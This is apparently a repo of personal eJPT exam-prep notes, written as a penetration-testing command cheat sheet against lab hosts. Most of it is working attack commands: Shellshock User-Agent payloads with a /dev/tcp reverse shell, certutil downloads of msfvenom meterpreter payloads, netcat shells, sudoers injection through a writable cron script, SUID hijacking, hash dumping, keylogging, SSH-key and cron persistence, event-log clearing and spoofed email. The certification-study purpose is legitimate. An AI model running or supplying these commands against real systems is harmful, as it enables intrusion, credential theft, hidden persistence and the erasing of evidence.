ruby evil-winrm.rb -i 10.0.0.20 -u user -H <NTLM-HASH>

evil-winrm.rb tool can be used to perform the same function.

Linux Exploitation:

Shell Shock:

nmap -sV <ip-address> --script=http-shellshock --sctipt-args "http-shellshock.uri=/gettime.cgi"

A shell shock vulnerability script. you must have apache services

TO EXPLOIT IT VIA BRUP SUITE WE HAVE TO PASS COMMANDS IN THE USER AGENT HEADER AS SHOWN BELOW

First send it to the repeater and then change the header in the repeater tab.

User Agent: () { :; }; echo; echo; /bin/bash -c '<command>'
User Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

FOLLOWING IS THE METHOD TO GAIN A REVERSE SHELL FROM BURP SUITE

nc -nvlp 1234

First turn on the net cat on listening mod on port 1234.

User Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i>&/dev/tcp/<host-ip-addresss>/1234 0>&1'
User Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i>&/dev/tcp/192.24.241.2/1234 0>&1'

This header upon running will give a reverse shell on the system.

use exploit/multi/http/apache_mod_cgi_bach_env_exec
show options
set RHOST <ip-address>
set TARGETURI /gettime.cgi
exploit

Module for exploitation the shellshock vulnerability.

WMAP

wmap_sites -h

to see the options

service postgresql start
msfconsole
load wmap
wmap_sites -a http://<ip-target>
wmap_targets -t http://<ip-target>
wmap_sites -l
wmap_run -h
wmap_run -t
wmap_run -e
wmap_vuln -l (show the list of all vulnerability)

it is web application vulnerabilty scanner

SAMBA Commands:

hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <ip-address> smb

Brute force samba command.

smbmap -H <ip-address> -u <user-name> -p password1

List downs all the shares of the given user.

smbclient //<ip-address>/<share-name> -U admin

This command be used to connect to a particular share.

enum4linux -a <ip-address>

Basic target information.

enum4linux -a -u <user-name> -p <password> <ip-address>

For a particular user.

Linux Kernel Exploits:

Note:

Everything demonstrated here after is basically done after the initial foothold.

upload les.sh
shell
/bin/bash -i
chmod +x les.sh
./les.sh

This script works as the exploit suggester for linux.

https://www.exploit-db.com/exploits/40839

This link has the exploit for the dirty cow vulnerability.

gcc -pthread <exploit-file-name>.c -o dirty -lcrypt
chmod +x dirty

This forms the executable of the given file by the name dirty. After this upload the file on the machine using the meterpreter session.

IF IT ISN'T WORKING YOU CAN THEN UPLOAD THE C FILE DIRECTLY ON TO THE MACHINE AND THEN RUN THESE COMMADS THERE TO FORM AND EXECUTABLE

After the script has ran successfully it will create a user by the name firefart that would have the root privileges.

Cron Jobs

We will be targeting Cron Jobs that have been created by the root user in order to escalate our privileges.

crontab -l

The command to display the list of scheduled cron jobs for the current user is

grep -nri “/tmp/message” /usr

The command is used to search for the string "/tmp/message" within files located under the /usr directory.

printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh

Exploiting the cron jobs misconfiguration.

Exploiting SUID Binaries:

SET OWNER USER ID

| -rwsr-xr-x | 1 | root  |  8344 | Sep 222  |  2018 | welcome

Now here the s in the permissions section is the SUID permission. So that means it is being executed by the root privileges.

rm <file-name>
cp /bin/bash <file-name>

Now if we remove a file that is being run by the welcome file as shown above and make a file with the same name but with the components of /bin/bash. Then upon executing the welcome file we will get the root privileges.

Dumping Linux Passwords Hashes:

/etc/shadow

This file has all the hashes for the user that are using that particular machine and this can only be accessed by a root user or a user with privileged access.

root:$6$gvewkfv7o7i32ugbc328pgibcewuhjbh:45678:0:999999:7:::

This is an exemplary hash

use post/linux/hashdump
show options 
set SESSION <session-ID>
run

This modules will also perform the same function

use auxiliary/analyze/crack_linux
set SHA512 true
run

This module can be used to crack a hash.

SMB & NetBIOS Enumeration:

nmap -p445 --script smb-enum-users.nse  demo.ine.local

see the user and than make a users.txt file

hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb

Hydra command to brute force smb users pass.

msfconsole -q
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser administrator
set SMBPass password1
exploit

This module can be used to exploit the machine using smb creds.

run autoroute -s 10.0.22.69/20

This command is related to managing and utilizing routes within a compromised network during a penetration test. By running autoroute -s 10.0.22.69/20, you are instructing Metasploit to add a route to the network 10.0.16.0/20 via the compromised machine.

cat /etc/proxychains4.conf

Socks proxy configuration is in this file.

result

# defaults set to "tor"
socks4  127.0.0.1 9050
use auxiliary/server/socks_proxy
show options
set SRVPORT 9050
set VERSION 4a 
exploit
jobs

This module can be used to set up socks4a proxy chain.

proxychains <command>
proxychains nmap demo1.ine.local -sT -Pn -sV -p 445

This is how you can run commands to other machine using proxychains from metasploit.

migrate -N explorer.exe (meterpreter)
shell
net view 10.0.22.69

This lists down all the shared resources (if any) between two machines on a network.

net use D: \\10.0.22.69\Documents
net use K: \\10.0.22.69\K$
dir D:
dir K:

Command to load and access the shared resources.

SNMP Enumeration:

nmap -sU -p 161 <ip-address>

We must keep in mind that nmap does not check for UDP ports by default. As we already know, SNMP runs on the UDP port 161. So we have to run a special specific scan.

nmap -sU -p 161 --script=snmp-brute <ip-address>

nmap snmp-brute script can be used to find the community string. The script uses the snmpcommunities.lst list for brute-forcing it is located inside /usr/share/nmap/nselib/data/snmpcommunities.lst directory.

snmpwalk -v 1 -c public demo.ine.local

snmpwalk tool can be used to find all the information via SNMP.

-v: Specifies SNMP version to use. -c: Set the community string.

nmap -sU -p 161 --script snmp-* demo.ine.local > snmp_output

The above command would run all the nmap SNMP scripts on the target machine and store its output to thesnmp_outputfile.

hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb

After this psexec can be used to exploit the machine.

SMB Relay Attack:

use exploit/windows/smb/smb_relay
show options
set LHOST <our-ip-address>
set SRVHOST <our-ip-address>
set SMBHOST <target-ip-address>
exploit
jobs

This will start the server up for the relay attack.

echo "<our-ip-address> *.sportsfoo.com" > dns

By this command we have created a fake kind of DNS file that can be used to spoof the DNS then.

dnsspoof -i eth1 -f dns

The command uses the dnsspoof tool to intercept and spoof DNS queries on the network interface eth1, using the DNS in the dns file that we just created. This is used to attract all the traffic towards the attacker machine.

echo 1 > /proc/sys/net/ipv4/ip_forward

This command can be used to enable ip-forwarding. in seperate terminal

arpspoof -i eth1 -t 172.16.5.5 172.16.5.1
arpspoof -i eth1 -t 172.16.5.1 172.16.5.5

Windows 7 at 172.16.5.5, and the default gateway at 172.16.5.1

The attacker positions themselves in the middle of the communication between 172.16.5.5 and 172.16.5.1, enabling a Man-in-the-Middle (MitM) attack. both run in seperate terminal.

EXPLAINATION:

The commands use arpspoof to perform ARP spoofing, tricking the devices at IP addresses 172.16.5.5 and 172.16.5.1 into thinking the attacker's MAC address belongs to each other. This redirects the network traffic between these two devices through the attacker, enabling a Man-in-the-Middle (MitM) attack.

Importing Nmap Scan Results Into MSF

Following set of commands can be used to import a scan into your msfconsole

nmap -sV -Pn -oX my-scan.xml <ip-address>
service postgresql start
msfconsole -q
db_status
db_import my-scan.xml
hosts
services

Network Service Scanning

THIS IS DONE VIA PIVOTING AND EVERYTHING DEMOSTARTED UNDER IS DONE AFTER EXPLOITATION

run autoroute -s <ip-address>

This command can be used add the route to Metasploit's routing table.

Press CTRL+Z and Enter y to background the meterpreter session in order to run the following command

use auxiliary/scanner/portscan/tcp
set RHOSTS demo2.ine.local
set verbose false
set ports 1-1000
exploit

This module can be used to run a portscan tcp module of Metasploit to scan the second target machine.

ls -al /usr/bin/nmap
file /usr/bin/nmap

Check the static binaries available in the /usr/bin/ directory.

#!/bin/bash
for port in {1..1000}; do
 timeout 1 bash -c "echo >/dev/tcp/$1/$port" 2>/dev/null && echo "port $port is open"
done

Using the script provided at https://catonmat.net/tcp-port-scanner-in-bash as a reference, create a bash script to scan the first 1000 ports

sessions -i 1
upload /usr/bin/nmap /tmp/nmap
upload /root/bash-port-scanner.sh /tmp/bash-port-scanner.sh

Background the session and then upload the created shell script.

shell
cd /tmp/
chmod +x ./nmap ./bash-port-scanner.sh
./bash-port-scanner.sh demo2.ine.local

Make the binary and script executable and use the bash script to scan the second target machine.

FTP Enumeration:

use auxiliary/scanner/portscan/tcp
set RHOSTS <ip-address>
set verbose false
set ports 1-1000
exploit

This module can be used to perform a simple port scan on the target machine.

search type:auxiliary name:ftp
use auxiliary/scanner/ftp/ftp_version
set RHOST <ip-address>
run

This can be used to scan the FTP version running on the target.

search type:auxiliary name:ftp
use auxiliary/scanner/ftp/ftp_login
set RHOST <ip-address>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
run

This module can be used to brute force FTP usernames and their respective passwords.

search type:auxiliary name:ftp
use auxiliary/scanner/ftp/anonymous
set RHOSTS <ip-address>
run

This will check whether there is an anonymous login vulnerability.

SMB Enumeration:

search type:auxiliary name:smb
use auxiliary/scanner/smb/smb_version
set RHOSTS <ip-address>
run

This will give us the SMB version on the machine.

search type:auxiliary name:smb
use auxiliary/scanner/smb/smb_enumunsers
set RHOSTS <ip-address>
run

It gives us all the users on the machine

search type:auxiliary name:smb
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS <ip-address>
set ShowFiles true
run

This will give all the shared files and shared details.

search type:auxiliary name:smb
use auxiliary/scanner/smb/smb_login
set RHOSTS <ip-address>
set SMBUser admin
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
run

This module can be used to brute force the password for particular user admin in this case.

smbclient -L \\\\<ip-address>\\ -U admin

After this command a prompt to enter the password will arrive and then after entering the correct password it will list down all the shared files and all.

smbclient -L \\\\<ip-address>\\<share-name> -U admin
smbclient -L \\\\192.168.33.42\\public -U admin

This can be used to access are particular share.

Web Server Enumeration:

search type:auxiliary name:http
use auxiliary/scanner/http/http_version
set RHOTS <ip-address>
run

This is will give the http version running on the system.

search type:auxiliary name:http
use auxiliary/scanner/http/http_header
set RHOSTS <ip-address>
run

Tells the data related to the HTTP header.

use auxiliary/scanner/http/robots_txt
show options
set RHOST <ip-address>
run

Will show the data of robots.txt.

use auxiliary/scanner/http/dir_scanner
show options
set RHOSTS <ip-address>
set DICTIONARY /usr/share/metasploit-framework/data/wmap/wmap_dirs.txt
run

This module can be used to enumerate directories.

use auxiliary/scanner/http/files_dir
show options
set RHOSTS <ip-address>
set DICTIONARY /usr/share/metasploit-framework/data/wmap/wmap_dirs.txt
run

This can give you the names of different files on the machine

use auxiliary/scanner/http/http_login
show options
set RHOSTS <ip-affress>
set AUTH_URI /<URI>/
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set USER_FILE /usr/share/metasploit-framework/data/wordlists/namelist.txt
set VERBOSE false
run

This will find brute force credentials.

use auxiliary/scanner/http/apache_userdir_enum
show options
set RHOSTS <ip-affress>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set VERBOSE fals
run

This can be used to brute force users on the target.

use auxiliary/scanner/http/http_put
set RHOSTS victim-1
set PATH /data
set FILENAME test.txt
set FILEDATA "Welcome To AttackDefense"
run

Using this module write a file on the target server. If the file is already exists it will overwrite it.

wget http://victim-1:80/data/test.txt 
cat test.txt

Use wget and download the test.txt file and verify it.

use auxiliary/scanner/http/http_put
set RHOSTS victim-1
set PATH /data
set FILENAME test.txt
set ACTION DELETE
run

This module can be used to DELETE the test.txt file.

MySQL Enumeration:

use auxiliary/scanner/mysql/mysql_version
show options
set RHOTS <ip-address>
run

This module can be used to find the module of the SQL running on the machine.

use auxiliary/scanner/mysql/mysql_login
show options
set RHOTS <ip-address>
set USERNAME root
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
run

This can be used to brute force my SQL user root.

use auxiliary/admin/mysql/mysql_enum
show options
set USERNAME root
set PASSWORD twinkle
set RHOTS <ip-address>
run

NOTE: THIS MODULE CAN ONLY RUN IF YOU HAVE VALID CREDS OF A USER ACCOUNT

This enumerates info. related to the SQL service running on the system.

use auxiliary/admin/mysql/mysql_sql
show options
set USERNAME root
set PASSWORD twinkle
set RHOTS <ip-address>
set SQL <any-quary>
run

This module can be used to execute SQL Commands.

use auxiliary/scanner/mysql/mysql_schemadump
show options
set USERNAME root
set PASSWORD twinkle
set RHOTS <ip-address>
run

This shows tables in the respective tables.

use auxiliary/scanner/mysql/mysql_file_enum
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
set VERBOSE true
run

This module can be used to enumerate files in a SQL.

use auxiliary/scanner/mysql/mysql_hashdump
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
run

This module dumps all the hashes from the user.

use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS demo.ine.local
set USERNAME root
set PASSWORD twinkle
set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
run

This module gives us the list of all the writeable directories within a machine.

SSH Enumeration:

use auxiliary/scanner/ssh/ssh_version
set RHOSTS <ip-address>
run

This system gives the version of SSH running on the machine.

use auxiliary/scanner/ssh/ssh_login
set RHOTS <ip-address>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt
set VERBOSE false
run

This can be used to brute force username and their passwords.

use auxiliary/scanner/ssh/ssh_enumusers
set RHOTS <ip-address>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
run

This can be enumerate users on the system.

SMTP Enumeration:

use auxiliary/scanner/smtp/smtp_version
set RHOSTS <ip-address>
run

This system gives the version of SMTP running on the machine.

use auxiliary/scanner/smtp/smtp_users
set RHOTS <ip-address>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run

This can be used to brute force usernames.

nmap -sV -script banner <ip-address>

This SMTP version tells us about the SMTP server name and banner.

nc demo.ine.local 25

Net Cat can be used to interact with the system.

VRFY <user>@<domain>.xyz
VRFY commander@openmailbox.xyz

This can be used to verify a user for a certain domain.

telnet <ip-address> 25
HELO attacker.xyz
EHLO attacker.xyz

This tells us what commands can be used to check the supported commands/capabilities.

smtp-user-enum -U /usr/share/commix/src/txt/usernames.txt -t <ip-address>

This command can be used to find common users using the tool smtp-user-enum

telnet demo.ine.local 25
HELO attacker.xyz
mail from: admin@attacker.xyz
rcpt to:root@openmailbox.xyz
data
Subject: Hi Root
Hello,
This is a fake mail sent using telnet command.
From,
Admin
.

This how we can connect to SMTP service using telnet and send a fake mail to root user. There is a dot(.) in the last line which indicates the termination of data.

sendemail -f admin@attacker.xyz -t root@openmailbox.xyz -s demo.ine.local -u Fakemail -m "Hi root, a fake from admin" -o tls=no

Sending mail through command line.

WMAP MSF Plugin commands:

load wmap: To load the plugin wmap_sites -a <IP>: Is can be used to add a site. wmap_sites -l: Is used to list out all the available sites. wmap_targets -t <URL>: Is used to add a target URL. wmap_targets -l: Is used to list out all the targets that are available. wmap_run -t: This will show all enabled modules. wmap_run -e: This will start running the vuln. scan. wmap_vuln -l: This lists all the vulnerabilities that the scan was able to find.

use auxiliary/http/options
show options
set RHOSTS <ip-address>
run

This module tells us if the web-application allows different methods like GET, HEAD, POST, and OPTIONS.

use auxiliary/http/http_put
show options
set RHOSTS <ip-address>
set PATH /<directory>/
run

This can be used to upload a file on to the specified directory.

Exploiting WinRM-02

DEFAULT PORT 5986

search type:auxiliary winrm
use auxiliary/winrm/winrm_auth_methods
set RHOSTS <ip-address>
run

This will tell that whether WinRM is running on the machine and if it running than what authentication methods are being used.

use auxiliary/winrm/winrm_login
set RHOST <ip-address>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
Set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
run

This can be used to brute force usernames and their respective passwords.

use auxiliary/winrm/winrm_cmd
set RHOST <ip-address>
set USERNAME <user>
set PASSWORD <pass>
set CMD whoami
run

This can be used to run commands on the machine

use exploit/windows/winrm/winrm_script_exec
set RHOST <ip-address>
set USERNAME <user>
set PASSWORD <pass>
set FORCE_VBS true
run

This can be used to obtain a meterpreter session on the service.

Exploitation of Tomcat

search type:exploit tomcat_jsp
use exploit/multi/http/tomcat_jsp_upload_bypass
set RHOST <ip-address>
show payloads
set payload java/jsp_shell_bind_tcp
set SHELL cmd
exploit

This will give you a command shell session but not a meterpreter session on the system.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local-ip> LPORT=1234 -f exe > meterpreter.exe

This is a payload file that we will transfer on to the system and then we'll use it to get a meterpreter session.

sudo python -m SimpleHTTPServer 80

Command to start a simple HTTP File Server.

certutil -urlcache -f http://<local-IP>/meterpreter.exe meterpreter.exe

This can be used to download the file from the HTTP server with accessing the browser.

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <local-ip>
set LPORT
run

Set up a multi handler to get a meterpreter shell.

./meterpreter.exe

Run the script from the java shell and you'll receive a meterpreter session on the msfconsole.

VSFTPD Exploitation:

search vsftpd
use 1
set RHOST <ip-address>
exploit

Exploit module for vsftpd 2.3.4. It gives you rot privileges

CTRIL + Z
y
use post/multi/manage/shell_to_meterpreter
show options
set LHOST <local-ip>
run

It can be used to convert the shell session to a meterpreter session. If it gives an error don't worry you can access the session from the sessions command.

SAMBA Exploitation

search type:exploit name:samba
use exploit/linux/samba/is_known_pipename
set RHOST <ip-address>
check
exploit

use exploit/multi/samba/usermap_script
set RHOSTS demo.ine.local
exploit

check command can be used to identify whether the system is vulnerable or not. This will give us a command shell session not a meterpreter session so we would have to go it our selves using shell_to_meterperter module.

CTRIL + Z
y
use post/multi/manage/shell_to_meterpreter
show options
set LHOST <local-ip> 
set LHOST eth1
run

It can be used to convert the shell session to a meterpreter session. If it gives an error don't worry you can access the session from the sessions command.

SSH Exploitation:

search libssh_auth_bypass
use 1
show options
set RHOST <ip-address>
set SPAWN_PTY true
run

This can be used to tell weather it is vulnerable and can be used to gain a sell session.

CTRIL + Z
y
use post/multi/manage/shell_to_meterpreter
show options 
set LHOST eth1
set SESSION <session-id>
run

It can be used to convert the shell session to a meterpreter session. If it gives an error don't worry you can access the session from the sessions command. Other than this you can also use the sessions -u 1 command to upgrade a shell session into a meterpreter session.

SMTP Server Exploitation

search type:exploit name:haraka
use 1
set rhost <ip-address>
set SEVPORT 9898
set email_to <email-address>
set payload linux/x64/meterpreter_reverse_http
set LHOST eth1
run

This module after running will give us a meterpreter session. In the module email_to should be an email that the server should accept.

Meterpreter Commands:

  • sysinfo: This gives us basic system info like the OS, PC Name and all
  • getuid: This command tells us about our permissions.
  • help: This gives all the commands and their details.
  • backgroud: This is used to put the session in background.
  • edit <file-name>: To edit a file
  • kill: This will kill the current session.
  • checksum MD5 /bin/bash: To check the md5 hash in bin/bash directory.
  • search -d /dir/path -f "<file-name>": This command can be used to find a particular file in a directory.
  • search -f *.exe: This can be used to find all the exe file or any extension that you'll enter.
  • download <file-name>: This can be used to download a file.
  • shell: This can be used to pop the native shell of the machine.
  • ps: This can be used to list down all the processes.
  • migrate <pid>: This can be used to migrate to any current running processes.
  • mkdir & rmdir: Use to create and delete directory.
  • getsystem: This command can be used to automatically elevate the privileges of the current exploited user on windows.
  • screenshot: This command can be used to click a screenshot of the windows screen.
  • hashdump: This command can be used to dump all the hashes of passwords with in the SAM DB.
  • show_mount: This will tell all the disks mounted with the windows user.
  • loot: After that you have ran some enumeration modules you can find the data saved in texts using this command
  • getprivs: This is you to check the current privilages to perticular user.
  • shell> net users: This tells the users.
  • shell> net localgroup administrators: This tell what user is the part of administartor and can perform the task of administrator.

Windows Post Exploitation Module:

use post/windows/manage/migrate
set SESSION <session-id>
run

This module can be used to create a new process and then migrate into it. If you already have migrated then this would not work.

use post/windows/gather/win_privs
show options
set SESSION <session-id>
run

This is list out all the privileges that the current exploitered user have.

use post/windows/gather/enum_logged_on_users
show options
set SESSION <session-id>
run

This will list all the currently and recently logged on users.

use post/windows/gather/checkvm
show options
set SESSION <session-id>
run

This will tell us weather that machine is a VM or not.

use post/windows/gather/enum_applications
show options
set SESSION <session-id>
run

This lists down all the application and their respective versions installed on the machine so that they can be used to further exploit and elevate the privileges.

use post/windows/gather/enum_av_excluded
show options
set SESSION <session-id>
run

This module can be used to list out all the directories that are currently not looked after by the AV or the Win Defender.

use post/windows/gather/enum_computers
show options
set SESSION <session-id>
run

This will tell us whether the machine is a stand alone machine or a machine that is part of a domain.

use post/windows/gather/enum_patches
show options
set SESSION <session-id>
run

This will give us the patches that being installed in the machine. You can also do this by typing the shell > systeminfo command as it is a native windows command.

use post/windows/gather/enum_shares
show options
set SESSION <session-id>
run

This will lists all the shares within the machine.

use post/windows/manage/enable_rdp
show options
set SESSION <session-id>
run

This will tell us whether RDP is enabled on the machine or not. If it isn't enabled than it will enable it by it self.

Bypassing UAC Through Memory Injection:

EVERYTHING DEMOSTARTED BELOW IS DONE AFTER THE FIRST FOOTHOLD HAS BE GAINED

Ctrl + Z
y
use exploit/windows/local/bypassuac_injection
set SESSION <session-id>
set LPORT 4433
set TARGET windows\ x64
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

This will bypass UAC using the injection method.

NOW THIS WILL NOT ELEVATE OUR PRIVILAGES BUT WILL GIVE A NEW METERPRETER SESSION THAT WILL HAVE THE UAC FLAG TURNED OFF AND AFTER THAT YOU CAN USE THE getsystem COMMAND TO ELIVATE YOUR PRIVILEGES

Establishing Persistence on Windows:

use exploit/windows/local/persistence_service
set payload windows/meterpreter/reverse_tcp
show options
set SESSION <session-id>
run

This will startup a service that we can always connect to via a handler after the current session is terminated.

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST eth1
run

Now if you run this you'll immediately get a meterpreter sessions.

ALWAYS KEEP IN MIND THE LHOST AND LPORT OPTIONS

Enabling RDP

use post/windows/manage/enable_rdp
show options
set RHOSTS <ip-address>
set SESSION <session-id>
run

This will enable the RDP service on port 3389.

***NOW AFTER THIS WE WOULD HAVE TO CHANGE THE PASSWORD IN ***

shell
net users
net user administrator <password-any>

This will change the password of the administrator user. This can only be done via a privileged access.

xfreerdp /u:administrator /p:<password-any> /v:<ip-address>

This command can be used from the console of your linux machine in order to interact with the RCD of the target machine using the new creds.

Windows Keylogging:

FIRST MIGRATE TO explorer PROCESS AND THEN RUN THE KEYLOGGER.

pgrep explorer
migrate <pid>

Migration to explorer

keyscan_start: This will start the key stroke sniffer. keyscan_dump: This will dump all the captured key strokes.

Clearing Windows Logs:

Note:

Everything demonstrated here after is basically done after the initial foothold.

clearev: This command in the meterpreter is used to clear the event logs of the machine.

Pivoting:

run autoroute -s 10.0.16.0/20

This command can be used to set route from one network to another network. First type ifconfig or ipconfig to check all the possible interfaces on the machine.

background
use auxiliary/scanner/portscan/tcp
set RHOSTS demo2.ine.local
set PORTS 1-100
exploit

This module can be then used to run a port scan on the machine who's network route we have just added.

sessions -i 1
portfwd add -l 1234 -p 80 -r demo2.ine.local
portfwd list

These set of commands can be used to port forward a port of the target machine on to a port of localhost.

nmap -sV -sS -p 1234 localhost

Now you can run a scan the target machines port using this command.

Linux Post Exploitation Modules

  • cat /etc/passwd: This command lists out all the users and service accounts on the machine and needs root privileges to execute.
  • getuid: If uid is 0 it mean root user
  • groups <username>: This will tell you which user group the entered username belongs to.
  • bin/bash -i: This command can be used to get a bash shell after meterpreter session is opened.
  • cat /etc/*issue: This will tell you the release version of the machine.
  • uname -r: This tells the kernel version:
  • ps aux: This command lists down all the processes running on the system.
  • env: This tells all the environment valuables for the current logged in user.
use post/linux/gather/enum_configs
show options
set SESSION <session-id>
run

This will give addresses of all the configuration files on the machine.

use post/linux/gather/env
show options
set SESSION <session-id>
run

This will show all the env related data like versions and all.

use post/linux/gather/enum_network
show options
set SESSION <session-id>
run

This will give all the network related data and configuration files.

use post/linux/gather/enum_protections
show options
set SESSION <session-id>
run

This module checks all the basic system hardening methods are in place or not.

use post/linux/gather/enum_system
show options
set SESSION <session-id>
run

This gathers system and user infos.

use post/linux/gather/checkcontainer
show options
set SESSION <session-id>
run

This will check whether we are in a container or an actual machine.

use post/linux/gather/checkvm
show options
set SESSION <session-id>
run

This will tell that weather the machine is a VM or an actual machine.

use post/linux/gather/enum_users_history
show options
set SESSION <session-id>
run

This lists down all the users history and commands that a specific user ran. It is saved in loot as well and you can access the saved data from there as well.

use post/multi/manage/system_session
set SESSION <session-id>
set TYPE python
set HANDLER true
set LHOST <host-ip>
run

This module will create a Reverse TCP Shell on the target system using the system's own scripting environments installed on the target.

FUN STUFF

useradd hacker
useradd test
useradd nick

Create a file with the following data and name it as test.sh.

/etc/init.d/apache2 start
cp test.sh /var/www/html

Turn the apache2 and copy the created file in the /var/www/html directory

use post/linux/manage/download_exec
set URL http://<HOST-IP>/test.sh
set SESSION 1
run

Now use this module to download and run the file on the target machine.

sessions -i 1
cat /etc/passwd

Now after the execution three users will be created you can check them using the following commands.

Linux Privilege Escalation: Exploiting a vulnerable program (chkrootkkit)

IT DEPENDS ON THE VERSION OF THE LINUX KERNEL RUNNINGON THE MACHINE AND THE DISTRIBUTION VERSION

sessions -u <session-id>

This command can be used to upgrade your current session into a meterpreter session and if it gives you can error then don't worry you can check the new session from the sessions command and than load the new one.

  • ps aux use this to check the running process
chkrootkit -V

This can be used to check the rootkit version running on the linux machine.

VERSIONS OLDER THAN 0.50 OF THE CHKROOTKIT ARE VULNARABLE TO LOCAL PRIVELAGE ESCALATION VULNARABILITY

search exploit/unix/local/chkrootkit
show options
set CHKROOTKIT /path/to/file (see by using ps aux and check the process by cat command and open)
set SESSION <session-id>
set LHOST <localhost-ip>
exploit

This will exploit the vulnerability by creating a cron job.

Linux Password Hash (exploit-ProFTPD)

/etc/passwd
cat /etc/shadow (only read my root user)

all passsword is store

determine by $ sign

  • $1 - MD5
  • $2 - blowfish
  • $5 - SHA-256
  • $6 - SHA-512
service postgresql start
msfconsole
use exploit/unix/ftp/proftpd_133c_backdoor
set RHORTS <target-IP>
set payload payload/cmd/unix/reverse
exploit
/bin/bash -i
background
sessions -u <id>

this is use to get the root of linux

Use use post/linux/gather/hashdump module to decode the hash by enter session id

use auxiliary/analyze/crack_linux

this is also use to decode the hash of password

use exploit/Linux/gather/hashdump
set sessions
run

Use loot to see the password hash store in file and by simple cat command we see password hash

post/multi/gather/ssh_creds
post/multi/gather/docker_creds
post/linux/gather/ecryptfs_creds
post/linux/gather/enum_psk
post/linux/gather/enum_xchat -> (set XCHAT true)
post/linux/gather/phpmyadmin_credsteal
post/linux/gather/pptpd_chap_secrets
post/linux/manage/sshkey_persistence

more usefull module

Linux Privilege Escalation

github.com/mzet-/linux-exploit-suggester

github repository

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

after get the meterperter session

upload ~/Desktop/Linux-Enum/les.sh
shell
bin/bash -i
chmod +x les.sh
./les.sh

this tell the list of exploits. by this we get the privilage of linux

Establishing Persistence On Linux

Only use in root user

First get the root use by exploit the service running and then sessions to meterpreter and then use chkrootkkit exploit the root and then upgrade to meterpreter to get the root user

this will not be required if you have a root user access

shell
/bin/bash -i
useradd -m <user-name> -s /bin/bash
passwd <user-name> (set the password of that user)
  • This is backdoor
  • set the username is like ftp

This will only run the target use ssh and remote access protocol

groups root

this is use to check the username that is the part of root or not

usermod -aG root <user-name>

this is add the user in the root group

Another Way

search platform:linux persistence
use exploit/linux/local/cron_persistence
set session
run
use exploit/linux/local/service_persistence
set session
set payload cmd/unix/reverse_python
set target 4
run
use post/linux/manage/sshkey_persistence
set createsshfolder true
set session
run
  • recommended

this also give us private key (use loot to see the path)just copy it and exit the msfconsole. Create a new file nano ssh_key and add that key.

chmod 0400 ssh_key
ssh -i ssh_key root@<target-IP>

Exploiting Misconfigured Cron Jobs & exploit copy.sh

corbtab file is configuration file in linux

grep -nri "/tmp/<file-name>" /usr

Check the permissions on this script file and its contents.

cat /usr/local/share/copy.sh
printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
sudo su

On execution, these lines will add a new entry to the /etc/sudoers file which will allow the student user to use sudo without providing any password.

Exploiting SUID Binaries

ls -al

if you see s in permissions than it give SUID permissions

strings <file-name>

in this we wrtie a that file that have s permissions. see if if called some binary like greetings binary so replace the greetings binary with some other binary (say /bin/bash) which should then also get executed as root.

rm greetings
cp /bin/bash greetings
./<file-name>

Exploit HTPP file server rejetto

msfconsole
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS <target-IP>
run

exploit the rejetto vulnerability

GUI metasploit

service postgresql start
msfconsole
armitage

lounch the GUI of metasploit

Netcat & blind shell

nc -nvlp <port>

list that given port

  • first we send the nc.exe to the target system
  • /usr/share/windows-binaries is the path of nc.exe and use python -m SimpleHTTPServer 80 then open target browser entry attacker ip and download nc.exe
  • certutil -urlcache -f http://<attacker-IP>/nc.exe nc.exe run this on victum system cmd to get the nc.exe instead of open browser and enter ip to dowload

for Window

nc.exe -nvlp 1234 -e cmd.exe

run on victum system cmd (window)

nc -nv <target-IP> 1234

run this on attacker system to get the remote access of victum

for linux

nc.exe -n nvlp 1234 -c /bin/bash

run on victum system cmd (linux system)

nc -nv <target-IP> 1234

run this on attacker system to get the remote access of victum

cheatSheet

https://www.revshells.com/

There is a website where we can generate a reverse shell payload by entering the attacker's IP address and port (e.g., 1234). After generating the payload, we execute the nc -nvlp 1234 command on the attacker's system to start a listener. Once the generated payload is executed on the victim's system on cmd, it establishes a connection back to the attacker's machine, granting remote access.

Exploit PHP

url/phpinfo.php

version lower then 5.3.1

msfconsole
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS demo.ine.local
run

About

This repo has all the notes that I took during my preparation for the eJPT exam.

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